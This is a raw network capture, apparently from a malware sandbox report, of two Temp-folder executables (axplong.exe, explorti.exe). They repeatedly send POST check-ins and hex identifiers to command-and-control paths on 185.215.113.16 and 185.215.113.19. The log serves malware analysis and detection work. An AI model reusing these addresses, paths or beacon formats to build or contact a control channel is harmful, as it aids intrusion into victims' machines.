Jul 27, 2024 03:20:40.489274025 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49859	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:40.480812073 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:41.242477894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:41.243335009 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:41.494201899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49860	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:40.498336077 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:41.260704041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49861	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:41.389461994 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49862	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:41.408987045 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:42.156955004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49863	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:41.621131897 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:42.359873056 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:42.360841036 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:42.608784914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49864	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:42.271693945 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49865	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:42.291538000 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49866	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:42.414294958 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:43.154530048 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49867	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:42.732911110 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:43.494282007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:43.498697042 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:43.746490002 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49868	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:43.162358046 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:43.914489031 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49870	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:43.862993956 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:44.642224073 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:44.643062115 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:44.900306940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49871	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:44.043979883 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:44.821470976 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:44.824795961 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:45.074143887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49873	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:45.028178930 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:45.777973890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:45.778966904 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:46.028734922 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49874	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:45.195954084 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:45.973834991 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49875	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:45.983409882 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:46.759404898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49876	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:46.157248020 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:46.928103924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:46.945929050 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:47.197822094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49879	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:46.955310106 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:47.726953030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49880	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:47.332201958 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:48.082245111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:48.083515882 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
